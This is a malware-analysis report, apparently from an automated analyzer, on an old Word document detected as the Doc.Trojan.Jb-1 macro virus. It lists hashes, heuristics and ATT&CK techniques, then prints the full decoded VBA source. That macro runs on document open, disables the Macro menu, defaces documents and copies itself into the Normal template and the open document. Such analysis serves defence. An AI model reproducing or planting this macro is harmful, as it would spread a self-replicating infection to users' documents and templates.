Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 539c623b8b81a8de…

MALICIOUS

Office (OLE)

38.0 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4f25ac6e58ea32dc61ce45adcaed6d9a SHA-1: 6eb7de3300a191a7fa56544274aab3bc65d0575e SHA-256: 539c623b8b81a8de26b972a18b3f2e61134345efc77da93a7af38fa45b405b60
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV heuristic and the high OLE_VBA_DOCOPEN heuristic indicate the presence of malicious VBA macros. The Document_Open macro is designed to execute automatically, and the script attempts to infect the Normal template, suggesting an effort to establish persistence or facilitate further malicious activity. The specific ClamAV detection name 'Doc.Trojan.Jb-1' is included as an IOC.

Heuristics 3

  • ClamAV: Doc.Trojan.Jb-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Jb-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2363 bytes
SHA-256: 16c6c27daf81ff9ff557ebef10469cd3369ae2f982ca7069056cf78b9274bf12
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JB"
Attribute VB_Base = "1Normal.JB"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Dim prvInfNorm As Boolean
Dim prvInfAct As Boolean
Dim prvCodeCount As Integer
Private Sub Document_Close()
CommandBars("Macro").Enabled = True
End Sub

Private Sub Document_New()
    Document_Open
End Sub

Private Sub Document_Open()


    CommandBars("Macro").Enabled = False
    
    ActiveDocument.Content.InsertAfter "Jim The Great"
    ActiveDocument.Content.Footnotes.Add ActiveDocument.Range, "Jim"

    'Check The Name of the Normal Template and Active Document Projects
    If NormalTemplate.VBProject.VBComponents.Item(1).Name <> "JB" Then
        NormalTemplate.VBProject.VBComponents.Item(1).Name = "JB"
        prvInfNorm = True 'Infect Normal
    Else
        prvInfNorm = False ' Don't Infect Normal
    End If
    If ActiveDocument.VBProject.VBComponents.Item(1).Name <> "JB" Then
        ActiveDocument.VBProject.VBComponents.Item(1).Name = "JB"
        prvInfAct = True 'Infect Active Document
    Else
        prvInfAct = False 'Don't Infect Active Document
    End If

    'Infecting the Normal Template
    If prvInfNorm = True Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        For prvCodeCount = 1 To ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
            NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines prvCodeCount, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(prvCodeCount, 1)
        Next prvCodeCount
    End If

    ' Infecting the Active Document
    If prvInfAct = True Then
        ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        For prvCodeCount = 1 To NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
            ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.InsertLines prvCodeCount, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(prvCodeCount, 1)
        Next prvCodeCount
    End If

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.